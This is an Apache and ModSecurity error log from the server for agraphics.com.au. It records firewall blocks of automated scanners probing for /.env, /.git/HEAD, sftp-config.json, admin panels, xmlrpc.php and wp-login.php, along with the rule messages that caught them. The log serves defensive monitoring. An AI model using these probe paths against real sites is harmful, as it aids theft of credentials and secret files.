[Thu Jan 22 23:34:14.953542 2026] [:error] [pid 20418:tid 20438] [client 95.216.63.67:54707] [client 95.216.63.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/woocommerce-payments/readme.txt"] [unique_id "aXJDdhahoKEa6eS4cSqcQwAAAZA"], referer: www.google.com
[Thu Jan 22 23:45:09.013280 2026] [:error] [pid 52447:tid 52514] [client 95.216.63.67:55927] [client 95.216.63.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aXJGBXRLA2NsdGqJzouGigAAAIU"], referer: www.google.com
[Fri Jan 23 03:53:37.963399 2026] [:error] [pid 11732:tid 11757] [client 20.28.217.16:60764] [client 20.28.217.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aXKAQefd54xxq04JKuMV0QAAANc"]
[Fri Jan 23 03:53:38.081237 2026] [:error] [pid 11607:tid 11659] [client 20.28.217.16:1029] [client 20.28.217.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aXKAQgucTAUsUUzKw5fvdAAAAE8"]
[Fri Jan 23 03:53:38.157447 2026] [:error] [pid 11606:tid 11617] [client 20.28.217.16:63530] [client 20.28.217.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aXKAQlnjAJqfHEQLcshO4QAAAAI"]
[Fri Jan 23 03:53:38.231349 2026] [:error] [pid 11732:tid 11756] [client 20.28.217.16:1922] [client 20.28.217.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aXKAQufd54xxq04JKuMV0gAAANY"]
[Fri Jan 23 12:43:16.322524 2026] [:error] [pid 11608:tid 11695] [client 182.181.164.136:59700] [client 182.181.164.136] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.181.164.136, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aXL8ZL4alK6RZLlMcto1pwAAAJc"]
[Fri Jan 23 12:43:16.333659 2026] [proxy_fcgi:error] [pid 11608:tid 11695] [client 182.181.164.136:59700] AH01071: Got error 'Primary script unknown'
[Fri Jan 23 13:02:18.102432 2026] [:error] [pid 64230:tid 64256] [client 129.212.186.67:62817] [client 129.212.186.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/administrator/"] [unique_id "aXMA2q2JXmVjD91caKJW-QAAAVc"]
[Fri Jan 23 13:02:18.494226 2026] [:error] [pid 11606:tid 11625] [client 129.212.186.67:62879] [client 129.212.186.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/administrator/index.php"] [unique_id "aXMA2lnjAJqfHEQLcsgd1wAAAAo"]
[Fri Jan 23 13:02:18.877437 2026] [:error] [pid 11607:tid 11664] [client 129.212.186.67:62954] [client 129.212.186.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/administrator/index2.php"] [unique_id "aXMA2gucTAUsUUzKw5eukAAAAFM"]
[Fri Jan 23 13:02:19.262475 2026] [:error] [pid 64912:tid 64919] [client 129.212.186.67:63042] [client 129.212.186.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/administrator/index3.php"] [unique_id "aXMA27em6jVGKqodwtKBaQAAAYU"]
[Fri Jan 23 13:02:19.654691 2026] [:error] [pid 11607:tid 11657] [client 129.212.186.67:63114] [client 129.212.186.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/joomla/administrator/"] [unique_id "aXMA2wucTAUsUUzKw5eukwAAAE0"]
[Fri Jan 23 13:02:20.038683 2026] [:error] [pid 11608:tid 11685] [client 129.212.186.67:63177] [client 129.212.186.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/administrator/"] [unique_id "aXMA3L4alK6RZLlMcto9swAAAI0"]
[Fri Jan 23 13:02:20.423467 2026] [:error] [pid 64230:tid 64248] [client 129.212.186.67:63230] [client 129.212.186.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/administrator/"] [unique_id "aXMA3K2JXmVjD91caKJW_QAAAU8"]
[Fri Jan 23 13:02:20.809407 2026] [:error] [pid 64230:tid 64237] [client 129.212.186.67:63274] [client 129.212.186.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/web/administrator/"] [unique_id "aXMA3K2JXmVjD91caKJW_gAAAUQ"]
[Fri Jan 23 13:02:21.196619 2026] [:error] [pid 11608:tid 11677] [client 129.212.186.67:63338] [client 129.212.186.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/panel/administrator/"] [unique_id "aXMA3b4alK6RZLlMcto9uAAAAIU"]
[Fri Jan 23 15:11:26.745019 2026] [proxy_fcgi:error] [pid 64912:tid 64919] [client 212.227.175.43:50908] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Fri Jan 23 15:11:37.563178 2026] [proxy_fcgi:error] [pid 11606:tid 11628] [client 212.227.175.43:55666] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Fri Jan 23 15:11:55.211401 2026] [proxy_fcgi:error] [pid 64230:tid 64236] [client 212.227.175.43:59280] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Fri Jan 23 15:12:03.628762 2026] [proxy_fcgi:error] [pid 11608:tid 11683] [client 212.227.175.43:56353] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Fri Jan 23 21:37:35.978750 2026] [:error] [pid 64912:tid 64925] [client 196.177.114.215:55856] [client 196.177.114.215] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/HEAD"] [unique_id "aXN5n7em6jVGKqodwtIF1AAAAYs"]
[Fri Jan 23 21:37:36.002480 2026] [:error] [pid 64912:tid 64914] [client 196.177.114.215:55855] [client 196.177.114.215] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aXN5oLem6jVGKqodwtIF2QAAAYA"]
[Sat Jan 24 09:21:16.329429 2026] [proxy_fcgi:error] [pid 22900:tid 22909] [client 170.205.31.138:51061] AH01071: Got error 'Primary script unknown'
[Sat Jan 24 17:07:05.540827 2026] [:error] [pid 60761:tid 60778] [client 95.181.174.196:38906] [client 95.181.174.196] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/HEAD"] [unique_id "aXSLuVZQvxLvEbXXh9JMFgAAAU4"]
[Sat Jan 24 19:19:40.464366 2026] [:error] [pid 40902:tid 40925] [client 103.240.98.169:56342] [client 103.240.98.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.240.98.169, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aXSqzASCceZpurDgOevfoAAAAA0"]
[Sat Jan 24 19:19:40.475246 2026] [proxy_fcgi:error] [pid 40902:tid 40925] [client 103.240.98.169:56342] AH01071: Got error 'Primary script unknown'
[Sun Jan 25 00:57:04.359543 2026] [:error] [pid 40903:tid 40961] [client 64.89.163.25:58380] [client 64.89.163.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aXT54Bxw3xvyqXTcGl_cuAAAAFY"]
[Sun Jan 25 00:57:05.007226 2026] [:error] [pid 40903:tid 40961] [client 64.89.163.25:58544] [client 64.89.163.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aXT54Rxw3xvyqXTcGl_czQAAAFY"]
[Sun Jan 25 00:57:05.648659 2026] [:error] [pid 41009:tid 41018] [client 64.89.163.25:58770] [client 64.89.163.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aXT54WrewfoFUDD3TM3_lgAAAMc"]
[Sun Jan 25 00:57:06.285943 2026] [:error] [pid 14976:tid 14979] [client 64.89.163.25:59012] [client 64.89.163.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aXT54mvdigydYOB2KS-kVAAAAYE"]
[Sun Jan 25 00:57:06.924016 2026] [:error] [pid 40903:tid 40950] [client 64.89.163.25:59231] [client 64.89.163.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aXT54hxw3xvyqXTcGl_c8QAAAEs"]
[Sun Jan 25 01:51:32.944750 2026] [proxy_fcgi:error] [pid 60761:tid 60774] [client 35.159.32.17:31314] AH01071: Got error 'Primary script unknown'
[Sun Jan 25 06:43:49.439968 2026] [:error] [pid 33687:tid 33700] [client 45.139.104.168:61500] [client 45.139.104.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aXVLJYc6VUyZP5DZSy62LQAAAQo"]
[Sun Jan 25 10:36:29.654032 2026] [:error] [pid 53419:tid 53447] [client 103.77.106.81:53181] [client 103.77.106.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "aXWBrSNxBUypy_ALgwOTjgAAABM"]
[Sun Jan 25 17:43:01.936583 2026] [:error] [pid 53521:tid 53533] [client 91.124.98.32:54947] [client 91.124.98.32] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aXXlpUAzLL1HphkAdX4u9gAAAMA"]
[Sun Jan 25 17:43:02.500498 2026] [:error] [pid 9070:tid 9091] [client 91.124.98.32:54965] [client 91.124.98.32] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aXXlprLNl7Vxe1mYetFFsgAAAVM"]
[Sun Jan 25 17:43:10.788357 2026] [:error] [pid 9122:tid 9146] [client 91.124.98.32:55261] [client 91.124.98.32] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aXXlrmgJ3AtoqtQp2gQMDwAAAZY"]
[Mon Jan 26 00:38:04.385851 2026] [proxy_fcgi:error] [pid 48920:tid 48999] [client 20.74.188.9:61018] AH01071: Got error 'Primary script unknown'
[Mon Jan 26 00:38:04.552104 2026] [proxy_fcgi:error] [pid 48920:tid 49003] [client 20.74.188.9:61018] AH01071: Got error 'Primary script unknown'
[Mon Jan 26 00:38:04.715403 2026] [proxy_fcgi:error] [pid 48920:tid 49000] [client 20.74.188.9:61018] AH01071: Got error 'Primary script unknown'
[Mon Jan 26 00:38:04.879150 2026] [proxy_fcgi:error] [pid 48920:tid 48989] [client 20.74.188.9:61018] AH01071: Got error 'Primary script unknown'
[Mon Jan 26 00:59:56.963043 2026] [proxy_fcgi:error] [pid 49084:tid 49099] [client 194.163.158.29:57354] AH01071: Got error 'Primary script unknown'
[Mon Jan 26 00:59:57.311459 2026] [proxy_fcgi:error] [pid 49084:tid 49086] [client 194.163.158.29:57354] AH01071: Got error 'Primary script unknown'
[Mon Jan 26 00:59:57.666042 2026] [proxy_fcgi:error] [pid 49084:tid 49103] [client 194.163.158.29:57354] AH01071: Got error 'Primary script unknown'
[Mon Jan 26 00:59:58.002342 2026] [proxy_fcgi:error] [pid 49084:tid 49109] [client 194.163.158.29:57354] AH01071: Got error 'Primary script unknown'
[Mon Jan 26 02:52:50.493482 2026] [:error] [pid 6738:tid 6778] [client 187.181.224.158:53154] [client 187.181.224.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.181.224.158, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aXZmgmxKUXbdUVtnLFZ_zAAAAFA"]
[Mon Jan 26 02:52:50.504314 2026] [proxy_fcgi:error] [pid 6738:tid 6778] [client 187.181.224.158:53154] AH01071: Got error 'Primary script unknown'
[Mon Jan 26 04:30:13.972514 2026] [:error] [pid 24556:tid 24566] [client 159.203.3.128:63911] [client 159.203.3.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aXZ9VUyDW1_EbgDa3XJKjwAAAAE"]
[Mon Jan 26 23:14:21.695645 2026] [:error] [pid 24558:tid 24645] [client 45.133.5.99:42947] [client 45.133.5.99] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.5.99, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aXeEzQo1PXqeJqIMTQbCZgAAAJg"]
[Mon Jan 26 23:14:21.827353 2026] [proxy_fcgi:error] [pid 24558:tid 24645] [client 45.133.5.99:42947] AH01071: Got error 'Primary script unknown'
[Tue Jan 27 01:48:42.657161 2026] [:error] [pid 57173:tid 57237] [client 212.32.76.62:48493] [client 212.32.76.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.32.76.62, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aXeo-k4W-bz8q8pfNmgjcwAAAAU"]
[Tue Jan 27 01:48:42.735610 2026] [proxy_fcgi:error] [pid 57173:tid 57237] [client 212.32.76.62:48493] AH01071: Got error 'Primary script unknown'
[Tue Jan 27 06:04:21.597796 2026] [proxy_fcgi:error] [pid 7454:tid 7525] [client 4.193.205.108:5919] AH01071: Got error 'Primary script unknown'
[Tue Jan 27 06:04:21.744512 2026] [proxy_fcgi:error] [pid 7454:tid 7535] [client 4.193.205.108:5919] AH01071: Got error 'Primary script unknown'
[Tue Jan 27 06:04:22.034017 2026] [proxy_fcgi:error] [pid 7454:tid 7534] [client 4.193.205.108:5919] AH01071: Got error 'Primary script unknown'
[Tue Jan 27 06:04:22.169894 2026] [proxy_fcgi:error] [pid 7454:tid 7527] [client 4.193.205.108:5919] AH01071: Got error 'Primary script unknown'
[Tue Jan 27 06:04:22.307008 2026] [proxy_fcgi:error] [pid 7454:tid 7519] [client 4.193.205.108:5919] AH01071: Got error 'Primary script unknown'
[Tue Jan 27 06:04:22.435050 2026] [proxy_fcgi:error] [pid 7454:tid 7517] [client 4.193.205.108:5919] AH01071: Got error 'Primary script unknown'
[Tue Jan 27 06:04:22.554869 2026] [proxy_fcgi:error] [pid 7454:tid 7540] [client 4.193.205.108:5919] AH01071: Got error 'Primary script unknown'
[Tue Jan 27 06:04:22.673344 2026] [proxy_fcgi:error] [pid 7454:tid 7537] [client 4.193.205.108:5919] AH01071: Got error 'Primary script unknown'
[Tue Jan 27 06:04:22.792966 2026] [proxy_fcgi:error] [pid 7454:tid 7526] [client 4.193.205.108:5919] AH01071: Got error 'Primary script unknown'
[Tue Jan 27 06:04:22.917823 2026] [proxy_fcgi:error] [pid 7454:tid 7524] [client 4.193.205.108:5919] AH01071: Got error 'Primary script unknown'
[Tue Jan 27 06:04:23.057401 2026] [proxy_fcgi:error] [pid 7454:tid 7523] [client 4.193.205.108:5919] AH01071: Got error 'Primary script unknown'
[Tue Jan 27 06:04:23.185093 2026] [:error] [pid 7454:tid 7533] [client 4.193.205.108:5919] [client 4.193.205.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file2.php"] [unique_id "aXfk55ltCoZEfMmfl8BoyQAAAJE"]
[Tue Jan 27 06:04:23.692482 2026] [:error] [pid 41780:tid 41794] [client 4.193.205.108:5450] [client 4.193.205.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file2.php"] [unique_id "aXfk51vu-XLQ0TaZ4FFpMAAAAQw"]
[Tue Jan 27 06:04:24.159906 2026] [:error] [pid 7561:tid 7578] [client 4.193.205.108:5199] [client 4.193.205.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file2.php"] [unique_id "aXfk6LXGI6mgvHQqkXwXHAAAAM4"]
[Tue Jan 27 06:04:24.632716 2026] [:error] [pid 7453:tid 7495] [client 4.193.205.108:5202] [client 4.193.205.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file2.php"] [unique_id "aXfk6BfsyA2ws_ADquiYWAAAAEY"]
[Tue Jan 27 11:42:07.362451 2026] [:error] [pid 7453:tid 7508] [client 64.225.49.30:56835] [client 64.225.49.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/"] [unique_id "aXg0DxfsyA2ws_ADqugVGwAAAFM"], referer: binance.com
[Tue Jan 27 12:27:36.967967 2026] [:error] [pid 48528:tid 48544] [client 174.138.21.194:60260] [client 174.138.21.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 174.138.21.194, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aXg-uAOGRrquT9N7CZo9hAAAAg4"]
[Tue Jan 27 12:27:36.977883 2026] [proxy_fcgi:error] [pid 48528:tid 48544] [client 174.138.21.194:60260] AH01071: Got error 'Primary script unknown'
[Tue Jan 27 12:27:38.942015 2026] [:error] [pid 48528:tid 48550] [client 174.138.21.194:60260] [client 174.138.21.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aXg-ugOGRrquT9N7CZo9kAAAAhQ"]
[Tue Jan 27 12:27:39.283478 2026] [:error] [pid 7454:tid 7526] [client 174.138.21.194:64485] [client 174.138.21.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aXg-u5ltCoZEfMmfl8DgUQAAAIo"]
[Tue Jan 27 12:27:39.630086 2026] [:error] [pid 7454:tid 7522] [client 174.138.21.194:65236] [client 174.138.21.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aXg-u5ltCoZEfMmfl8DgUgAAAIY"]
[Tue Jan 27 12:27:39.970777 2026] [:error] [pid 48446:tid 48491] [client 174.138.21.194:49513] [client 174.138.21.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aXg-u8DRSaZ8F8aaLxlBTQAAAc0"]
[Tue Jan 27 12:27:40.317594 2026] [:error] [pid 7561:tid 7582] [client 174.138.21.194:50173] [client 174.138.21.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aXg-vLXGI6mgvHQqkXyQOwAAANI"]
[Tue Jan 27 12:27:40.681444 2026] [:error] [pid 7454:tid 7521] [client 174.138.21.194:50890] [client 174.138.21.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aXg-vJltCoZEfMmfl8DgVgAAAIU"]
[Tue Jan 27 12:27:41.044138 2026] [:error] [pid 7561:tid 7583] [client 174.138.21.194:51663] [client 174.138.21.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aXg-vbXGI6mgvHQqkXyQPAAAANM"]
